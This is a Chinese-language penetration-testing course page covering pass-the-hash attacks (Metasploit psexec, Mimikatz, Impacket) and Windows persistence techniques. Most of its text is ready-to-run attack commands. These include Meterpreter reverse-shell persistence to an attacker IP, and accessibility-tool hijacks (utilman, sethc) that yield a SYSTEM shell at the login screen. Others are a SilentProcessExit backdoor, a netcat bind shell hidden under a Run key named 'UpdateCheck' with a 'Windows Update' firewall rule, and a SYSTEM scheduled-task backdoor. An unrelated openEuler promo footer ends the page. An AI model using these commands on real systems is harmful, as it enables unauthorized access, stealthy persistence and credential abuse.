https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_72.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_74.png

攻击方法

1. 利用Metasploit的PSEXEC模块

在Metasploit框架中,可以使用psexec模块并指定哈希值进行攻击。需要设置SMBPass参数,格式为LM哈希:NT哈希。若LM哈希未知,可用0填充。

use exploit/windows/smb/psexec
set RHOSTS [目标IP]
set SMBUser [用户名]
set SMBPass [LM哈希:NT哈希]
# 若在域内,还需设置 SMBDomain [域名]
run
2. 利用Mimikatz进行PTH

使用Mimikatz的sekurlsa::pth功能可以直接在内存中注入哈希,生成一个新的具有相应权限的命令行窗口。

privilege::debug
sekurlsa::pth /user:[用户名] /domain:[目标IP或域名] /ntlm:[NT哈希]

执行成功后,会弹出新的命令行窗口,在此窗口中使用net use等命令访问目标共享时,将无需输入密码。

3. 利用Cobalt Strike进行PTH

在Cobalt Strike中,可以通过psexecpsexec_psh模块,在选择凭证时直接使用捕获的哈希值来横向移动。

4. 利用Impacket工具套件

Impacket工具包中的wmiexec.pypsexec.py脚本支持直接使用哈希进行认证。

# 使用 wmiexec.py 执行命令
python wmiexec.py -hashes [LM哈希:NT哈希] [域名]/[用户名]@[目标IP] "whoami"

# 使用 psexec.py 获取交互式shell
python psexec.py -hashes [LM哈希:NT哈希] [域名]/[用户名]@[目标IP]

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_76.png

5. 利用PowerShell脚本批量检测

可以使用类似Invoke-TheHash的PowerShell脚本,对域内所有主机批量尝试哈希传递,快速定位可被攻击的目标。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_78.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_80.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_82.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_84.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_86.png

📚 课程总结

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_88.png

本节课中我们一起学习了Windows系统的核心认证机制,包括本地认证、网络认证和复杂的域认证,并深入探讨了利用哈希值而非明文密码进行横向移动的哈希传递攻击方法。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_90.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_92.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_94.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/2c9086d26a3ad77db1b71abc28219bcc_96.png

理解这些认证原理是掌握内网渗透中权限维持与横向移动技术的关键基础。

082:第53天 - Windows权限维持技术详解 🔐

在本节课中,我们将系统性地学习Windows操作系统下的权限维持技术。权限维持的目的是确保我们通过渗透测试获取的目标系统访问权限不会因漏洞修复或管理员干预而轻易丢失。课程内容将分为四个主要部分:Meterpreter权限维持、系统工具替换后门、开机自启动注册表项以及其他实用技巧。


第一部分:Meterpreter权限维持 ⚙️

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_1.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_3.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_4.png

上一节我们概述了课程结构,本节中我们来看看Meterpreter框架下的权限维持技术。Meterpreter是Metasploit框架的一个功能强大的扩展,它集成了许多后渗透模块,方便我们进行各种操作。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_6.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_7.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_9.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_11.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_13.png

权限维持,顾名思义,就是维持我们已获取的访问权限。这些权限可能来源于Web Shell、内网横向移动等。为了在漏洞修复或管理员发现后仍能控制目标,我们通常需要安装后门程序。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_15.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_16.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_18.png

Meterpreter提供了两种主要的权限维持技术:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_20.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_22.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_24.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_26.png

  1. persistence 模块:这是一个基于注册表的启动项后门。其原理是上传一个VBS脚本到目标机器,并修改注册表,使得系统启动或用户登录时自动执行该脚本,从而反弹一个会话连接回攻击机。

  2. metsvc 模块:这是一个服务后门。它会在目标Windows系统上创建一个名为Meterpreter的服务,并监听一个特定端口(默认31337)。攻击者只需连接该端口即可获得一个Meterpreter会话。

persistence 模块详解

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_28.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_30.png

该模块的原理是上传并执行一个VBS脚本,通过修改注册表实现持久化。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_32.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_34.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_36.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_38.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_40.png

核心命令与参数:

在获取Meterpreter会话后,可以运行以下命令查看帮助:

run persistence -h

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_42.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_44.png

以下是该模块的一些关键选项:

  • -X: 系统启动时自启动。

  • -U: 用户登录时自启动。

  • -S: 作为服务启动(同样写入注册表)。

  • -L: 指定远程主机上VBS脚本的存放路径。默认为%TEMP%目录,但该目录文件可能在重启后被清除,建议指定更持久的路径,如C:\Windows\System32

  • -P: 指定使用的Payload。默认是windows/meterpreter/reverse_tcp(32位)。如果目标系统是64位,需指定对应的64位Payload,例如windows/x64/meterpreter/reverse_tcp

  • -i: 设置反向连接的时间间隔(秒)。

  • -p: 设置反向连接的端口号。

  • -r: 设置反向连接的IP地址(攻击机IP)。

使用示例:

假设攻击机IP为192.168.1.100,目标为64位系统。

run persistence -X -U -i 5 -p 4444 -r 192.168.1.100 -P windows/x64/meterpreter/reverse_tcp

执行此命令后,模块会:

  1. 在目标%TEMP%目录生成一个VBS脚本。

  2. 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run(系统启动)和HKCU\Software\Microsoft\Windows\CurrentVersion\Run(用户登录)下创建项,其值为VBS脚本的路径。

  3. 当系统重启或用指定用户登录时,会自动执行VBS脚本,反弹会话到攻击机的4444端口。

注意:VBS脚本容易被安全软件查杀,此方法在存在杀软的环境中可能失效。

metsvc 模块详解

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_46.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_48.png

这是一个更简单的服务后门。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_50.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_52.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_54.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_56.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_58.png

使用示例:

在Meterpreter会话中直接运行:

run metsvc

该命令会:

  1. 在目标系统创建Meterpreter服务。

  2. 上传必要的文件到临时目录。

  3. 启动服务,监听31337端口。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_59.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_61.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_63.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_65.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_67.png

连接后门:

在MSF中,使用正向连接Payload连接目标端口即可获得会话。

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST <目标IP>
set LPORT 31337
exploit

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_69.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_71.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_73.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_75.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_77.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_79.png

自动化权限维持

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_81.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_83.png

在设置MSF监听器时,可以使用AutoRunScript参数实现自动化。当有新会话建立时,自动执行权限维持脚本。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 5555
set AutoRunScript persistence -X -U -i 10 -p 5566 -r 192.168.1.100
exploit

注意:反弹Shell的端口(LPORT 5555)和持久化脚本连接的端口(-p 5566)应设置为不同端口,避免冲突。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_85.png


第二部分:系统工具替换后门 🛠️

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_87.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_88.png

上一节我们介绍了Meterpreter的自动化工具,本节中我们来看看如何利用Windows系统自带的辅助工具实现更隐蔽的权限维持。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_90.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_92.png

Windows辅助功能(如屏幕键盘、讲述人、放大镜等)旨在帮助特殊人士使用计算机。攻击者可以在获取系统权限(SYSTEM或管理员)后,通过修改注册表,劫持这些工具的启动路径,使其执行我们的后门程序。

其核心原理是利用注册表路径:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options。在此路径下为特定程序(如utilman.exe)创建调试键值,可以指定实际运行的替代程序。

劫持实例:以utilman.exe(轻松访问中心)为例

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_94.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_96.png

utilman.exe在Windows登录界面可通过点击“轻松访问”按钮触发。劫持它可以在无需登录密码的情况下获得系统Shell。

操作步骤:

  1. 在已获得权限的CMD或Meterpreter Shell中执行:

    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
    

    这条命令将utilman.exe的调试器设置为cmd.exe

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_98.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_100.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_102.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_104.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_106.png

  1. 当在登录界面点击“轻松访问”按钮时,系统不会打开辅助工具管理器,而是直接弹出具有SYSTEM权限的cmd.exe窗口。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_108.png

其他可劫持的目标:

  • sethc.exe:粘滞键。按5次Shift键触发。命令:

    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
    
  • osk.exe:屏幕键盘。

  • narrator.exe:讲述人。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_110.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_112.png

自动化工具:

Metasploit的post/windows/manage/sticky_keys模块可以自动化完成上述劫持。

use post/windows/manage/sticky_keys
set SESSION <会话ID>
set TARGET cmd # 或指定你的后门程序路径
run

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_114.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_116.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_117.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_119.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_121.png

进程退出静默执行后门

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_123.png

此技术可以在特定程序(如记事本notepad.exe)退出后,静默运行我们的后门。

操作步骤:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\path\to\your\backdoor.exe"

设置后,每当用户关闭记事本程序,系统就会静默启动指定的后门程序。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_125.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_127.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_129.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_131.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_133.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_135.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_137.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_139.png

第三部分:开机自启动注册表项 📁

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_141.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_143.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_145.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_147.png

上一节我们利用了系统工具的启动机制,本节我们聚焦于Windows本身用于管理启动项的核心区域——注册表。了解这些位置对于权限维持和防御排查都至关重要。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_149.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_151.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_153.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_155.png

Windows通过一系列注册表键值来控制程序的自启动。以下是常见的自启动注册表路径:

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_157.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_159.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_161.png

对所有用户生效(HKLM):

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run (32位程序在64位系统)

对当前用户生效(HKCU):

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

区别HKLM下的项对机器上所有用户生效,HKCU下的项仅对当前登录用户生效。

利用示例:添加NC后门

  1. 将Netcat (nc.exe) 上传至目标,例如 C:\Windows\System32\nc.exe

  2. 添加一个自启动项,使系统启动时监听端口。

    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "UpdateCheck" /t REG_SZ /d "C:\Windows\System32\nc.exe -lvp 5555 -e cmd.exe"
    
  3. 如果需要,放行防火墙端口。

    netsh advfirewall firewall add rule name="Windows Update" dir=in action=allow protocol=TCP localport=5555
    
  4. 攻击机连接目标5555端口即可获得Shell。

注册表操作命令:

  • 添加reg add <键路径> /v <值名称> /t <类型> /d <数据>

  • 查询reg query <键路径>

  • 删除reg delete <键路径> /f

在Meterpreter中,可以直接使用reg命令操作远程注册表。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_163.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_165.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_167.png


https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_169.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_171.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_173.png

第四部分:其他权限维持技巧 🧩

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_175.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_177.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_178.png

除了上述方法,还有一些其他常用的权限维持技巧。

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_180.png

https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/ad6ee6407c96a80d664d4d4e5c5d68c5_182.png

1. 计划任务后门

Windows计划任务可以定时执行程序,是理想的持久化方式。

# 创建每分钟执行一次的计划任务
schtasks /create /tn "SystemCheck" /tr "C:\path\to\backdoor.exe" /sc minute /mo 1 /ru SYSTEM /f

参数说明:/tn任务名,/tr要运行的程序,/sc计划频率(minute/hourly/daily…),/mo间隔,/ru运行用户。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐